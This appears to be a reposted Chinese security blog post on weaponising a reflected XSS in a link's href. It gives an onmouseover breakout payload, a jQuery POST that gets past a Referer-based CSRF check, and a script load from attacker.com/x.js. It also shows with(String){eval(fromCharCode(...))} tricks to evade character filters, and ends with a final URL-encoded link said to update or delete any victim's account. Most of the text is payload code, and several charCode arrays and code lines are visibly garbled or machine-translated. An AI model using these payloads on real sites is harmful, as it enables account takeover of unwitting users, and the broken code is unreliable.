前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS 武器化

XSS 武器化

作者头像
Khan安全团队
发布2022-03-07 09:03:08
5710
发布2022-03-07 09:03:08
举报
文章被收录于专栏:Khan安全团队

XSS 部分非常简单,我的输入反映在 <a> 中的 HREF 内部,例如 <a href=”https://example.com/home/leet”>Home</a>

从 href 中转义非常简单,我的有效负载leet “onmouseover=alert(1)”现在当我将鼠标移到链接上时,XSS 会弹出,这非常简单和基本。

是时候做点大事了!!!现在我正在检查 WebApp 的所有端点,这些端点披露了我可以从 XSS 窃取并显示对 TEAM 的影响的敏感信息,所以在检查了所有请求后,我知道在每个请求中都有 CSRF TOKEN 标头存在,所以我需要窃取该令牌,然后需要使用 fetch 发送请求以武器化 XSS。

我试图从请求中删除 CSRF TOKEN 并砰!请求发送时没有任何错误,并且帐户信息已更新。但是,当我尝试通过创建 HTML FORM 来重现这一点时,服务器给出 403 缺少 CSRF TOKEN,在检​​查了匹配所有标头的请求后,我知道开发人员做了一些简短的工作(JUGAR)来防止 CSRF 是通过检查REFERER 标题。如果请求来自 example.com,那么他们会接受它,否则他们会给出 403,但缺少 CSRF TOKEN。

我已经有 XSS,所以不需要担心 Referer ✌️Simple 从控制台发送下面的 JQUERY POST 请求只是为了验证它并且它有效。

$.post(“https://example.com/account/update_info/”,{name: “账户更新”},function(data,status){alert(“Data: “ + data + “\nStatus: “ +状态);});

所以我更新帐户信息的最终有效载荷是。

leet” onmouseover='$.post(` https://example.com/account/update_info/`,{name : `账户更新`},function(data,status){alert(`Data: ` + data + `状态:`+状态);}); '“

有效载荷不起作用。SERVER 没有做坏事,服务器正在替换. 使用_例如example.com变为example_com。我在这里尝试了所有编码等,但没有奏效,所以我想到了为什么不简单地从服务器调用 JS 文件,但我需要再次输入我的服务器 URL,其中也包含. & document.createElement()也包含.

对于那些不知道我们也可以不使用.createElement()的人喜欢这个文档['createElement']('script')

所以从攻击者服务器调用 JSCODE 的最终代码是

document['createElement']('script');a['setAttribute']('src','attacker.com/x.js');document['head']['appendChild'](a); 串['fromcharcode'](100,111,2110101 ,1116,116,116,116,116,116,116,6016,116,116101610161016101610161015 ,39,1111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101015 ,39,93,40,97,41)

将创建脚本标记转换为服务器包含的 charCode

当我从 XSS 执行此操作时,服务器对[ ] 进行编码。所以 绕过. 没用😠我在这里尝试了所有绕过. & [ ]但没有任何效果。我的一位朋友告诉您可以从 SERVER 调用脚本,而无需. & [ ]我就像告诉我 bruhh howww !

with(String){eval(fromCharCode(97,108,101,114,116,40,49,41))}

所以我们可以在eval中使用with和fromCharCode的返回值来执行不需要的字符串& [ ]

最终的有效载荷看起来像这样

$.post(“https://example.com/account/update_info/”,{name: “账户更新”},function(data,status){alert(“Data: “ + data + “\nStatus: “ +状态);});

转换成 charCode

把他的 charCode 值放在代码中看起来像这样

与(字符串){的eval(fromCharCode(36,46,112,111,115,116,40,34,104,116,116,112,115,58,47,47,109,105,120,112,97,110,101,108,46,99,111,109,47,97,99,99,111,117,110,116,47,117,112,100,97,116,101,95,110,97,109,101,47,34,44,123,101,109 ,97,105,108,58,32,34,115,104,103,51,51,107,64,103,109,97,105,108,46,99,111,109,34,125,44,102,117,110,99,116,105,111,110,40,100,97,116,97,44,115,116,97,116,117,115,41,123,99,111,110,115,111,108,101,46,108,111,103,40,34,68,97,116 ,97,58,32,34,32,43,32,100,97,116,97,32,43,32,34,92,110,83,116,97,116,117,115,58,32,34,32,43,32,115,116,97,116,117,115,41,591,2 ,41,59))}

urlEncoded上面的代码,最终的payload变成

https://example.com/home/leet” onmouseover='URLENCODED PAYLOAD'”

将上述链接发送给任何人,您可以更新他的帐户、删除帐户和更多操作

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档